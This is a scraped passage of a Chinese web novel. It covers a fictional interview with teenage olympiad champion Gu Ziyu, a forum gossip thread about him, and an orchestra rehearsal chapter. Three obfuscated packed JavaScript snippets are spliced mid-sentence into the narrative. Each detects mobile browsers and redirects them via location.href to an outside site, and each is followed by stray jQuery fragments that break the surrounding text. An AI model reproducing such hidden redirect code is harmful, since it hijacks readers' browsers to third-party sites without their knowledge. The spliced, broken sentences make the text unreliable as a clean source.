真正支撑我走下去的,可能是一种纯粹的兴趣和对问题的好奇心。我就是想弄清楚这些问题,想知道答案,不断探索的过程本身就是一种享受。解决一个难题带来的那种纯粹的快乐,比任何外在的奖励都更有价值。 记者:在你的成长过程中,有没有什么让你感到遗憾的事情? 顾梓聿:(沉吟了很久)如果说完全没有遗憾,那是不可能的(笑),最大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266215|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遗憾应该是,交的朋友太少了。因为做竞赛嘛,我经常不在班级里,有时候大家聊天说起什么,我经常是在状态外的。因为备战竞赛,很多周末和假期都在刷题、研究难题,真的是有点书呆子了,错过了一些和朋友出去玩的机会,也没能多参加一些课外活动。 另外,我小时候对海洋也特别感兴趣,曾经很想去参加一次真正的航海旅行,但一直没找到合适的机会。虽然现在还是很喜欢,但学业的优先级一直排在前面,希望以后能补上这个遗憾吧。 不过总体来说,我还是很享受自己的成长过程,虽然辛苦,但收获也很多,所以就算有些小遗憾,也不会觉得后悔。 记者:在你的成长过程中,父母对你最大的影响是什么? 顾梓聿:我觉得最大的影响是,我父亲一直很鼓励和支持我发展自己的兴趣,但同时又非常严厉,要求我不能半途而废。 从小到大,可能是小孩子的本性吧,我对很多东西都充满好奇,最开始是小提琴,后来上了提前课程开始做各种学科竞赛。我父亲从来不会强迫我学什么,而是尊重我的兴趣,给我创造条件去探索。但他也有一个要求,就是既然选择了,就要坚持下去,不能只是三分钟热度。 我有的时候不够自律,我父亲就会很严格地督促我,就是这种教育理念,让我在竞赛的道路上一步步走到了现在。这是一种潜移默化的影响吧,有的时候,不给自己一点压力,你是不愿意前进的,但有的时候,前进这种事情本身就非常累。学如逆水行舟,不进则退嘛。我父亲就会扮演一个抵住我、不让我后退的角色,这还蛮重要的。 记者:很多人都会好奇如何学好物理,你有什么好的学习经验可以分享吗? 顾梓聿:这个问题确实很多人问过(笑)。我觉得学好物理,最重要的不是记住多少公式,而是理解公式背后的原理。物理是一门讲逻辑、讲推理的学科,光背概念没用,关键是要真正搞懂它是怎么来的、为什么这样定义。 我一般会用三个方法来学习:一,推导而不是死记:每个公式其实都是有推导过程的,比如牛顿运动定律、电磁学方程,如果你能自己推一遍,就不会轻易忘记,而且还能理解它的适用范围。二,多做典型题:物理题目其实就那么几种核心思想,很多难题只是基础概念的变形。做题的关键不是数量,而是质量,做一道题就要搞清楚它考察的核心物理思想,这样遇到类似的问题就能举一反三。三,培养物理直觉:很多竞赛选手都很重视计算,但其实物理不仅仅是数学,更需要物理直觉。比如看一个题目时,能不能先用极限情况、对称性、量纲分析等方法判断答案的大致方向?这些技巧能帮助我们更快地理解物理本质,也能减少计算错误。 总的来说,学物理不是靠死记硬背,而是要真正去思考、去理解,把它变成自己的东西,这样才算是“学会了”物理。 但是,这些方法都只是方法论,我觉得最重要的还是,要找到一种方法,或者说动力,能让你在学不好的时候,还能接着学。 记者:(面露震撼)我觉得你分享的前三个不如这一个建议最有用。 顾梓聿:(点头)对,这句话听起来挺残忍,但是这确实是这样。我父亲有时候就会扮演这样的角色(捂脸笑)。 记者:未来你有什么计划?你会继续从事物理研究吗? 顾梓聿:未来?未来的事情还太遥远,我现在也不知道。不仅物理我很感兴趣,其实很多学科我都很感兴趣。未来我希望能继续深造,进入一所顶尖大学学习,也有可能走上科研的道路。世界太神奇了,还有太多未知的东西等待我们去探索,比如量子力学、引力波、宇宙的起源等等。 我对航空航天也很感兴趣,从小我就特别喜欢看关于宇宙、航天的书籍和纪录片,比如《宇宙时空之旅》《从地球到宇宙》之类的节目让我对宇宙的浩瀚和神秘充满了向往。后来学了物理以后,我对航天器的轨道计算、火箭推进、相对论效应等问题也越来越感兴趣。能把人类送入太空、探索未知,是一件非常了不起的事情。 如果未来有机会,我希望能在相关领域深造,比如航天动力学或者航天工程,参与到实际的航天研究和技术创新中。像是未来的深空探测、人类登陆火星、太空电梯这些看似科幻的技术,说不定在我们这一代人手里就能实现呢! 记者:最后,你对那些正在学习物理或准备参加竞赛的同学们有什么建议吗? 顾梓聿:我想说的是,物理是一门很美的学科,它不仅仅是公式和计算,更是一种思维方式。其次,在竞赛的路上肯定会遇到很多挫折,但一定要坚持,不要害怕失败,每一次挑战都是成长的机会。希望大家都能找到自己热爱的方向,坚持走下去! 记者:谢谢你接受采访,也祝愿你在未来的学术道路上取得更大的成就! 顾梓聿:谢谢! 35. 番外五 · 震惊! 【竞圈八卦站】【精华】震惊!这种竞赛怪物真的存在? 楼主:?刚刚看到《科学之光》一篇专访,讲今年国际物理奥赛 IPhO 金牌第一名得主顾梓聿的。这人是什么神仙啊?????IPhO金牌第一,CMO国家集训队第二阶段,还是个初中生??如果不是竞赛的时间冲突,他甚至有可能同时代表华纳参加 IMO 和 IPhO?! 这难道就是传说中的竞赛双修战神?求各路大佬解读,这到底是怎么做到的??? 倒推一下,初二上拿到的金牌,这个时间线真的太离谱了,正常都是高二高三开始出成绩吧?他这岂不是最迟初一开始备战?那小学毕业的时候就要完成高中课程?我不理解真的…… 浏览量:11512 评论数:78 转发数:399 1L [竞赛老咸鱼]:? 先不说别的,楼主你的意思是他在同一年数学物理都进了国家队二集?同一年?先后??? 惊呆了,为什么同样是人,我就是个蒟蒻? 2L [低头做题]: 我草这个时间线……?IPhO 金牌第一???还初中生??? 草,我去查了一下,那一年可是全球368名物理天才打出来的成绩啊,真就是物竞界的唯一真神了…… 3L [数竞废物]:? CMO进国家队的人,能随便被别的竞赛耽误吗?顾梓聿是真的强,我听朋友说,他物理、数学两边的集训时间还有重叠,但人家就靠着自学+请假考试硬生生杀出来了,而且人家最后进的是二集小名单,就是稳稳上国际赛场那种。我们数学组里有些人就是光在一个集训队就已经被卷死了,他这是双修!!! 4L [NOI过客]:? 等下,这个名字我听过……? 他之前NOI也进过国家集训队!?而且是初一、初二连着进了两年!这意味着他初一的时候就已经在跟高中生卷信息学了。 这河狸吗? 5L [楼主]:? 等等等等,我刚刚查了一下,IMO 和 IPhO 两者的国际赛时间是连着的,所以才没有双修?要不然两个国家队小名单都进了,完全是有比赛资格的。 也就是说,这哥,如果时间精力允许,他可能能同时打两场国际竞赛???? 6L [数学小垃圾]:? ……合着我们数学国家队失去了一个 IMO 国际金牌? 7L [吃瓜群众]:? 这是三修战神!!!其实如果国家队的教练愿意冒险让他去,反正数学和物理的竞赛日只隔了六七天吧,他完全来得及飞两个地方,连着打两场国际大赛。IOI 国际赛是九月份的,那个时候正是数竞和物竞的全国赛,这也是为什么他往年只有 NOI 全国赛成绩的原因吧。 他今年拿了物理金牌,明年是不是要冲数学或者信竞了?可以一年拿一个hhh,不愧是神。 8L [物理佬]: ?你们不觉得他最后选物理,是个特别神奇的决定吗??物理整体来说确实比数学和信息学难在国际赛上拿金牌,毕竟物理实验部分很难拉分,但他这个数学实力,完全可以去IMO冲榜啊! 结果最后选择了相对冷门的物理,还直接在IPhO拿了全球第一?? 9L [匿名熟人]:? 不说太多,反正你们如果见过他本人,就会明白,他是真的牛逼。?他不是单纯靠天赋乱卷,是真的爱研究,爱思考。IMO、IOI 他肯定去了也能拿牌,但国家队领导给他做思想工作让他选了物理,因为那一届物理队弱一点。 最后的IPhO,不是靠刷题拿的,而是他本来就具备这个实力。 10L [数竞废物]:? 明明可以靠天赋,他却选择了埋头苦读,感动!【猫猫头哭泣】 11L [NOI过客]:? 而且我刚刚查了一下,你们去他学校的公众号看看,他小六的时候,数学已经达到高中联赛一等奖的水平了【骷髅头】 这个战绩太恐怖了!!! 12L [楼主]:? 有没有人知道他的八卦?比如家世、性格、爱好、朋友圈? 这种神能有私生活吗?? 13L [偶遇过他的人]:? ……其实他本人挺低调的,不太喜欢张扬。 他是典型的理科宅,朋友圈极小,基本只跟竞赛圈的熟人交流。?竞赛场上是硬核天才模式,私下相处就是个普通的初中生,喜欢研究问题,有问必答,讲的比老师还好。 这大概就是“天赋+努力+热爱”三合一的人吧。 还有,顾神心里没什么赶进度之类的,他应该就是自然而然走到现在。我几年前就听过他在上小学时参加了一个多省联合举办的数学竞赛,和外省顶尖高中比得了第一名。所以他应该是小学前就学完高中数学内容甚至竞赛内容了。 14L [物理佬]: 恐怖如斯……看来我真是太缺乏想象力了。?天才在选择自己热爱的领域后,才是真正的无敌。?物理确实比数学、信息学稍微冷门一些,但他能在IPhO拿世界第一,证明他的选择是对的。 15L [无能狂怒]:? ……我特么连初中物理都没学明白,?人家初二就打进IPhO国家队,拿全球第一?? 他肯定是重生的,必须的,不然我不活了。 16L [吃瓜啦]:? 竞赛届的怪物诞生了,这人的名字以后会不会进教科书? 不过这种级别的神不具备参考价值。就算放在同等级的参赛选手里他也是天才级别的。 17L [扫地老头]: ?据说他初一的时候用数学高联卷打败了两位 imo 满分学长,更别说 60 人国集选手了。小名单对他来说应该是板上钉钉。 未来如果他进学术界,大概率就是物理、数学或者计算机方向的顶级人才。 他这履历,基本无敌了。 18L [楼主]:? 感觉我们这群凡人在这里讨论神仙真的有点滑稽……?我这辈子都不可能想象有人能竞赛三修,甚至可能打进三个国家队。 不过,看到天赋异禀又真正热爱学科的人,还是挺感动的。 未来一定会看到他的更多成就! 19L [数据党]:? 我去查了一下今年各国IPhO金牌选手的经历,发现一个恐怖的事实: 其他国家的选手,基本都是高中生,有些还是在高中生涯的最后一年冲刺才拿到的金牌。 顾梓聿:初中生,还是IPhO金牌第一名。 这已经不是一个档次的选手了…… 20L [吃瓜群众2]:? 没有人在意他为什么是一个初中生却可以进国家队吗?正常不是不让初中生参加吗?就是可以参加集训做卷子但不参与选拔的那种,进不了小名单。为什么他最后可以代表华纳去国际赛场? 21L [****]: 根据论坛规则,该回复不予展示 22L [****]: 根据论坛规则,该回复不予展示 23L [隔壁老樊]: 我和他见过几次,人不太爱说话,社交极简,但绝对不是那种冷漠型的怪人。 属于你问他问题,他会耐心回答,但不会主动找人聊天的类型。?听他队友说,别人需要两个月学完的东西,他可能自己刷题刷一周就吃透了…… 24L [蒟蒻本蒻]: 我听认识他的人说,他每天睡得很少,大概5-6个小时就够了。 可能神的作息和人不一样吧。 25L [圈内人]:? 靠被ban了好几条回复。?当然是因为潜规则啦。? 开玩笑,当然是因为绝对的实力,领导也不是傻缺,如果足够牛逼为什么还要让他再等两年?? 当然,鹿城八中上头也有人就是了。这种地域分配的原则始终存在的。肃南行省都多少年没有选手入选物理国家队了,好不容易出个苗子不得赶快营销一下。史上最年轻的国集选手,听起来多牛逼。 26L [路人一枚]: 这么说顾梓聿也算是开创历史第一人。初中生会感激他吧,从此以后也可以参加选拔。但高中生肯定恨死他了,本来就机会宝贵,还要多出人来抢。 ??27L [圈内人]: ?你以为上面为什么答应?这样的初中生二三十年都出不了一个。 28L [吃瓜群众3]: 这哥这么牛啊…初中生大神… 29L [吃瓜群众4]: 我感觉小学前学完高中课程还是太离谱了吧。我知道他们中学的提前课程,小学毕业前大概是能掌握初中的知识,他应该是到了初一速拉的,小时候应该没那么快。 30L [无名数学教练]:? 我认识他的数学教练,确切地说,这孩子数学基本是靠自己学出来的。 他不是那种需要老师手把手教的选手,他的学习速度快到老师甚至跟不上他的思考方式,真正的天赋异禀,普通人是无法想象的。 换句话说,他比竞赛体系的上限还高。 这样的纯粹是天赋,没天赋的人就算扔进七位数也培养不出这样的超级牛蛙。 31L [吃瓜群众5]: 对,我觉得最可能的就是他在初一的时候速拉了高中范围的知识,然后加上竞赛。 32L [匿名熟人]:? 不不不,他在小学已经有省队水平了。真的不骗你。 33L [数竞小巨]: ?这就有点可怕了。 一年半能达到这种水平? 数学就是天生会就是会,不会就是不会。但我没有想到他为什么能一通百通。?竞赛的目的是为了区分普通人和天才,结果这人直接突破天花板了?? 34L [匿名熟人]: 物理会有需要数学的,信竞其实也是在考数学,比如说像数论和组合数学,这都是信竞主要考察的东西。这几个学科都是高度融合的。 他的一个最大特点是你能明显感觉到他思维的“运算速度”比正常人快。?他不一定比所有人都努力,但他的大脑运作方式跟普通人就不是一个维度的。 35L [冷静分析党]:? 大家别急着吹……他现在确实天赋超绝,但能不能称为“真正的天才”,还得看二十年后能不能拿菲尔兹奖或者图灵奖。 再说了,指不定他到了大学就不想学数学物理了,转行去搞金融、AI或者其他热门方向了呢? 天才的未来才是最难预测的。 36L [物理佬]:? 神不是凡人可以想象的。竞赛都是看天赋的,你要是没天赋从娘胎里学起你都进不了省队,有天赋高中学也能进国家队。都是这样的,以后搞科研也是天赋决定你的上限。 37L [家长1]: 这种学习经验对我们普娃没有任何借鉴【捂嘴笑】。天才不需要按部就班。 38L [家长2]:? 我连看都懒得看【笑哭】,这种级别离普通人太远了,多想也没用,首先智力水平就不一样,其次他们这种天才的培养方式也是不为外人所知的,题海战术、高压训练、脱产搞竞赛之类的。这个孩子是出成绩了才会被看见,还有很多孩子在这种封闭高压的环境下被搞傻搞病的也有很多。我们家孩子还是老老实实走升学路线吧。 ? 39L [家长3]:? 真正的天才就是这样的啦,不用管,等这样的孩子生到你家里了,你又要担心其他事情了,这种数理天赋极高的,其他方面的天赋就会受到影响。你看他是学神,真让你生一个你还不一定乐意呢。 40L [八卦吃瓜]:? 等等,这么神,他是不是长得很丑?人总要有点缺点吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266216|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 41L [认识他的人]: ?长相?不好评价……但我可以负责任地告诉你,他是个标准的理科宅,不怎么社交,对人际关系也不太敏感。 不是面瘫,但是真的不太会和普通人交流。 42L [吃瓜群众]:? 终于找到缺点了??社交能力不强,这种类型以后上社会怎么办,是不是只能一直搞学术?但学术也很要求社交能力啊,跟导师、同门、出去开会和学术界产业界的人都需要社交的。 43L [匿名竞赛圈内人]: 但说真的,像他这种天才型选手,往往学术和个人生活很难兼顾。?我身边有一个学霸也是这样,跟怪胎一样,情绪特别不稳定,人文知识、社交能力、运动能力都几乎为零。 老实说,学术水平顶尖的人,很多都是偏执型选手,跟普通人真的合不来。 44L [见过本人版]: 他不算丑,但绝对不是帅哥。就长得普通人啊,属于那种清秀型的,眼神特别专注,让人一看就觉得脑子转得飞快的类型。 45L [朝阳群众]: 为什么每次说到这种数理天才,都要着重强调他们其他方面的能力不行啊,也不是所有普通人的人文知识、社交能力、运动能力都很杰出啊。 46L [楼主] 专访链接在此,里面有他的照片。?长得还行其实。脸没有明显短板。 47L [路人]: 就这……还行吧,不评价,不丑,普通清秀那种。 48L [吃瓜群众4]: 是啊,也就那样,挺白净的,眼睛还挺亮。 就是个普通理科生长相嘛,根本比不上娱乐圈那种颜值天花板! 49L [吃瓜群众]: 脸确实没啥硬伤,鼻子还挺直,轮廓也利落……但!这跟我们有啥关系? 又不是靠脸评奖! 50L —57L?【该楼层已被折叠】 58L [酸黄瓜]: 嗐,长那样吧,也就勉强算个……竞赛圈平均水平以上。?绝对不能说是大帅哥,但他站一群竞赛佬里,确实显眼。 不过帅不帅的,成绩牛逼最重要,其他都是浮云,浮云! 59L [无所谓]: 长相这种东西,一过三十就都一样了!?竞赛成绩是可以写进履历的,长相又不能。 60L [吃瓜群众5]: 其实他也不是完美……?你们仔细看,虽然五官比例不错,但是吧,这种学术的神,自理能力一般比较差,这都是为了上镜拍照,平常生活里,肯定不会打理自己! 61L [我要飞]: 嗐,反正他这种人估计也没空谈恋爱,竞赛那么忙……?长得帅又怎样?最后还不是只能跟竞赛题相依为命。 62L [楼主]: 大家的心理状态逐渐平衡中…… 63L [小渣渣]: 没办法,学神已经够让人羡慕了,他长得就算不是帅哥,只要不丑,我们普通人也已经输了。 但没事,毕竟我们才是会享受生活的凡人!他再强,估计连综艺都不看吧哈哈哈! 64L [匿名熟人]: 无语,上面这几层都是酸的没边了,照片就在那里好吧,平心而论,他不说帅到惨绝人寰,也是这一届鹿城八中的门面,长得又好说话做事又体面,多少学生活动的代表,大场面学校都派他去,你搁这来一句长相不好评价?是你长得太抽象了所以不懂欣赏美吗? 再说了他不是不和人交流,只是没时间,换你同时备战数理化加信息学竞赛,你还能有空跟人聊天?早累死了吧! 我真是服了。 65L [吃瓜群众4]: ?抓住知情人别跑!?等等你说他还做化学竞赛?我不李姐!数学物理吃天赋,信竞和数竞可以相通,但化学完全不一样啊,他怎么做到除了数学物理信息学之外还有时间去背化学的? 化学生物是要背的啊我靠!那,那么多东西!他化学成绩怎样? 66L [信息学佬]: 报!刚从八中公众号翻到,这神获得过初中生化学竞赛全国一等奖。 67L [吃瓜群众4]: 还行还行,这回是正常人了,在初中生的组别里拿的奖。 68L [信息学佬]: 不不不不正常!这个奖他是在初一下得的,但是正式的化学课可是初一下才开始的啊! 69L [普娃家长]: 又是提前学,这样有意思吗?大家都在外面提前学了,还需要学校干嘛?不遵循事物客观规律,就会抢跑,现在是牛了,将来还有潜力吗? 70L [普娃家长]: 揠苗助长! 71L [信息学佬]: 要承认竞赛圈里人和人之间的差距比人和猪之间的差距都大…… 72L [家长4]:? 这种速度太变态了,肯定是人为催熟、填鸭教育的病态成果,我绝对不会这么压榨我孩子。 孩子的成长不能只有竞赛,还应该多关注心理和全面发展。 73L [家长2]: 先有这天赋再说想不想。 74L [理想主义者]:? 就是啊,学习应该是内心对数学的热爱,而不是为了竞赛去卷国集。 天赋+热爱,才应该是最理想的成长路径吧? 75L [楼主]:? 竞赛三修、三国家队、全球第一、超越考试范围的实力、靠自学碾压…… 我是真的想象不出这样的人的大脑是怎么运作的。 不过未来会如何发展,还得看他能不能在基础科学里留下真正的名字。 76L [游客1] 火钳留名 77L [游客2] 留名+1 78L [管理员]:?该帖收到申删请求,在此锁帖,请勿继续操作。 36.乐团排练 早晨九点,柏指挥准时走进排练室,却惊讶地发现,据说应该病恹恹躺在家里床上的一提首席,此刻居然好端端的坐在自己的位置上,正用绒布蘸了点清洁剂,仔细地擦着被松香粉沾染的琴面。 “你怎么来了,不在家里好好歇歇?你父亲昨天替你请假了,说是你胃病犯了,现在怎么样?” “柏老师,”顾梓聿一抬头看到来人,连忙站了起来,颇有些不好意思地笑: “其实没什么大碍,我睡一觉就好了,咱们任务紧,排练比较重要嘛,抱歉啊,让您担心了。” “哎,可别这么说,你可是我的首席啊,我不担心你担心谁去?身体要注意啊!你们年轻人,就是不把这胃疼当回事,是吧?想当年我年轻的时候…” “哎呀指挥您就别提了,好汉不提当年勇,还是赶快开始排练吧,今天任务重啊!” 坐在顾梓聿身边的姜明珺笑着打断了柏嘉辉的话,抖了抖手里厚厚一沓分谱。被打断话头的柏指挥倒是没有很生气,事实上他很是偏宠这个小女孩,于是一副迁就的表情:“行行行,听你的,开始排练吧。” 顾梓聿自觉地站起来,将弓子架在弦上,不疾不徐地给了大家一个标准 A,各个声部都有条不紊地跟着开始校音,一时间整个排练室里“La”的声音此起彼伏,他环顾四周,见一切顺利,才又坐下——柏嘉辉不知道他有多想来这个排练,不但是因为他喜欢,更因为可以借此逃开和顾仲景一起单独相处。天知道由于自己的胆大妄为,从昨天自己跑到吐晕被背回家后,顾仲景的脸色有多么差劲...... 今天的排练和以往有所不同,在保持本来乐团编制不变的情况下,还有当地军乐团的管乐分部来给予支援。原来,为了迎接今年夏季在鹿城举办的国际音乐节,除了演奏一些固定的经典曲目之外,鹿城学生交响乐团还会上演一部新的交响诗《金帆号角》,而这首作品中铜管和木管乐器的应用更加丰富一些,相应的也要多些外援。 这部作品是今年华裔著名作曲家林生一特意为鹿城学生交响乐团所作的。 林生一和不久前刚逝世的吴宏礼是至交好友,去年他回华纳探望老友,并亲自观看了三场鹿城学生交响乐团的排练和演出,深深地被这些学生们盎然的精神面貌和精湛的演绎技术所打动,决意为这些可爱的孩子创作一部作品。又因为鹿城学生交响乐团的前身是由吴老师带头组建的金帆交响乐团,所以这部作品定稿时就被起名为《金帆号角》,祝愿着金帆乐团能乘风破浪,一往无前。 林生一以“金帆号角”为题,幻想了一场英雄海上冒险的叙事史诗。整首交响诗分为四个章节,作品从开篇的光明与宏大,逐渐过渡到风暴与困境,再到最终的胜利归来,每一章都充满了变化与冲突。 第一乐章是《金帆》,作品开篇于朦胧的晨曦,C大调 4/4 拍描绘了船从港口启航的场景。圆号象征着映在海面的晨光,低音大管和大提琴以柔和而富有流动感的旋律铺陈出宁静的港湾景象。海风轻拂,远处号角声响起,音部渐渐堆叠,弦乐和铜管交织,主旋律第一次出现,悠扬且富有力量,风帆鼓起,随着定音鼓的加入,金帆号带着对未来的憧憬和雄心壮志扬帆起航了。 第二乐章《风暴》,用 d小调 6/8 拍描绘了船队遇到风暴的情景。海浪翻滚,乌云压顶,风暴突如其来。弦乐以快速上行的琶音表现汹涌的海浪,木管乐器模拟呼啸的风声,乐团使用重音、强烈的对比和断奏来表达紧张、混乱的氛围,节奏变得急促、失控,铜管和打击乐将风暴的轰鸣展现出来,狂风暴雨冲击着甲板,海员们奋力掌舵,乐章在风暴的最强烈处戛然而止,留下短暂的寂静。 第三乐章名为《孤独幻夜》,是神秘而迷幻的印象派风格。c小调 4/4 拍慢速铺陈了夜晚的寂静和孤独,船队漂泊在无人的海上。在经历了风暴后,海面变得异常平静,天空呈现出奇异的色彩,竖琴拨奏,弦乐营造出朦胧的光影变化,单簧管和长笛交织出如梦似幻的旋律,弦乐和木管代表了寂静的夜空,主旋律再次反复,弦乐的低音部分营造出空旷与失落的氛围,仿佛船员们在风暴后失去了方向。 最后的乐章是胜利归来的《曙光》,E大调 4/4 拍,灿烂而抒情,欢快且有力量。随着海面开始恢复平静,曙光照亮海面,乐曲的主题转为明亮,弦乐和铜管奏出庄重的主题,描绘了象征着希望、决心、光明的黎明的曙光。打击乐表现出步伐坚定的前进,节奏稳定而富有冲击力,带着一种从黑暗中走出的胜利感。经过种种挑战,船队最终回到家园,归来的号角声高昂激烈,乐团使用强烈的音响效果来表现凯旋归来的胜利荣耀:铜管奏响辉煌的主题,比之前更为宽广而清晰,弦乐奏出温暖而悠扬的旋律,鼓声、打击乐交替响起,仿佛海浪拍打着熟悉的港口,最后,乐团在辉煌的和弦中结束,像一道金色的光辉映照在船帆上。 大家都很期待能够演绎这部作品——这是多大的荣誉和幸运啊——这是完完全全属于他们自己的曲子!即使是沉稳如顾梓聿,也不愿意错过它的第一次排练。此刻他正用目光抚摩着那还散发着淡淡油墨香的崭新的曲谱,如果说的肉麻一点,那目光温柔得仿佛用多情的指尖描摹恋人温热的胸膛。 顾梓聿刚考进乐团的时候,吴老师的头发还没全白,说话是那么的中气十足,而“金帆乐团”的金字招牌还高高地悬挂在青少年宫地下一楼的大排练场,尽管已经有些斑驳。 那个时候金帆乐团已经成立了二十多年了,是全帝国第一个完完全全只由普通中学生组成的大型交响乐团。应该说,吴老师为了这个乐团的成立和发展,付出了巨大的心血。 吴老师的前路没有榜样可供描摹,这支乐团的从无到有,贯穿了他的一大半生命。顾梓聿并没有见识过建团初期的窘迫与艰辛,但他仍然可以从之前乐团师兄师姐的只言片语中略微感受到一点。 是吴老师,不仅吸纳了自己的优秀学生和学生的学生,还跑遍全城挑选适合的苗子;是吴老师,和有关文化方面的领导软磨硬泡,才要来了这么大一片场子和一笔不多不少的津贴。吴老师放弃了很多报酬高昂的演出机会,却甘愿义务地、甚至有时候还要倒贴钱地来训练调.教一群刚来时什么都不懂的小孩——最开始,大部分团员连交响乐团是什么样的、指挥棒该怎么看都不懂,是吴老师手把手教导,一个音一个音一点点抠出来的。 金帆成团所演奏的第一支曲子,就是《土耳其进行曲》,而这首曲子也是所有新入团的孩子排练的第一首曲,永远都被放在谱夹中的第一页。 吴老师年轻的时候经历过那场动荡,所有的音乐知识都不成体系,堪称野路子出身,无门无派,没有靠山,因此年轻时作为小提琴演奏员,也没有得到什么被主流所承认的荣誉。 然而,他却是一位出色的指挥家,更是一位优秀的音乐启蒙教育家。他不但一前一后培养出了宋熙和和顾梓聿这两个出类拔萃的学生,还带出了一只高水平的学生交响乐团:金帆不仅在国内比赛中多次获得金奖,还代表华纳帝国在维拉特汗国首都莫申科举办的世界学生交响乐团的比赛中夺得了第一名,在更多其他的比赛中也取得了很多不菲的成绩。 可是自从金帆表现突出引人注目,慢慢成为鹿城的一张闪光的名片时,事情就变了。文化局的领导几次莅临,先是“高度赞扬乐团在吴老师带领下所取得的成绩“,话音一转就变成“老先生一人身兼数职、为管理乐团实在是超负荷运转了”,而后又接着“为利于乐团的持续健康发展提几点建议”,话外音是要把这只民办的乐团收编为央音鹿城附中所有,这还不算完,他们计划“为进一步打造这个品牌,在鹿城引进具有高水平专业知识的艺术人才,给予指导”。 没浇过水,看别人家树上的桃子熟了就想摘,这已经很说不过去了,还想着把果农一脚踢开,将果子占为己有,是不是有点太无耻了?大部分学生们都出自于不同的学校,只有周中的晚上和周末有时间聚在一处排练。如果把这支乐团收为央音鹿城附中独有,在短期来看,是能够集中训练,提高效率,可是那些不属于央音附中的普通学校的孩子该怎么办?他们难道就要这样被慢慢排挤在外吗? 吴老师年轻时是个脾气很火爆的人,敢凭着一腔意气和领导拍桌子扯嗓子,可现在年纪大了,知道事情不是这样做的了,没办法,为了那些孩子,他一把年纪了低声下气,豁出脸皮去磨上面的的领导们,最终好不容易把这块肥肉从央音的嘴边抢下来,改编成为了鹿城学生交响乐团。 虽然失去了“金帆”这块响亮的牌子,但,这已经是最好的结果了。 现如今,斯人已逝,被三顾茅庐请来的客座指挥柏嘉辉,经过了一段时间的磨合,成为了鹿城学生交响乐团艺术总监、首席指挥。 柏指挥的个人气质和吴老师简直是两个极端:柏指挥高瘦,人温文尔雅,文质彬彬;吴老师则矮胖,是性情中人,嬉笑怒骂皆由心。两位老师都很严厉,表现地却不一样:学生们不专心或不认真,练得不好,柏指挥只是口头地批评几句,但那严肃的语气和强大的气场常常能把学生吓得噤若寒蝉,而后好几天都怕地绕道走;吴老师呢,能动手绝不动口,对男生是一脚就踹上去了,对女生还是温柔点,但也免不了几句骂,不过下了课大家还敢跟他闹,没大没小的。 只可惜,这样的场景,以后不会再发生了。 顾梓聿一时间有点难过,但他坐的离指挥席最近,柏老师又新来到这个乐团,磨合期还没过,他不想流露出太多个人情绪,令柏指挥误会自己和他生分——指挥和一提首席之间必须没有隔阂,否则会极大地影响整个乐团的气氛。 他略低下头,敛了眉眼,看不出表情。 “大家之前都自己摸过一遍谱子了吧?”柏指挥坐上那个他专属的高脚凳子,手里的指挥棒敲了敲谱架,清脆地一响:“那我们就先从头开始合一遍,大家都打起精神来,尽量跟上,军鼓是第四十五小节,要进对,注意力集中啊,铜管组准备。” 男人手臂一挥,指挥棒点向圆号的方向,圆号的声音由弱转强,仿佛从远处慢慢走进场,然后指挥棒点向镲,一撩,一声清脆的镲响,随后逐渐加入4支小号、长号、木管,军鼓“咚咚”两声,长笛悠扬地响起,引领出主题的第一次出现。柏嘉辉摆动指挥棒的幅度逐渐地减弱减缓,乐句慢慢结束,全场逐渐安静下来。 三角铁轻灵地响起,顾梓聿扬起琴头,第一小提琴奏出明亮欢快的乐句,和三角铁精灵般的声音由如蝴蝶般在空气里相互追逐,然后整个弦乐开始慢慢加入,奏出回旋重复的旋律。但不知道怎么了,好像等到一提二提和上了的时候,听起来总有些别扭,好想一口气衔接不上,柏嘉辉敲了敲谱架,示意停止,大家便都放下手上的乐器,认真看着他。 “嗯,从开始到这里都不错,一二提的配合好像有点问题。梓聿,你查一下,从八十九小节开始,音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269863|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色不统一,你看看是不是他们谱子上指法弓法标得不舒服还是怎样?” “好,柏老师。”顾梓聿站起身,左手持琴和弓,右手从谱架上拿了铅笔,先走到二提首席身边和他对起来。其他声部的学生大多是捂住发音孔或戴上弱音器,自己在底下练着生涩的部分,少数几个交头接耳,但也很快投入到练习里。 柏指挥看了有些感慨:这个由中学生组成的乐团,不只是首席的水平不可小觑,就连普通乐手的素养都比一些成人乐团的乐手要高。 “这里这样拉比较顺。”顾梓聿指着一处乐句和二提首席——比他大一岁的央音附中学生杨雨馨讨论着,中提和大提的首席也围过来旁听。杨雨馨拿起琴,按照顾梓聿改的弓法指法顺了一遍:“这样拉确实比较顺手。” 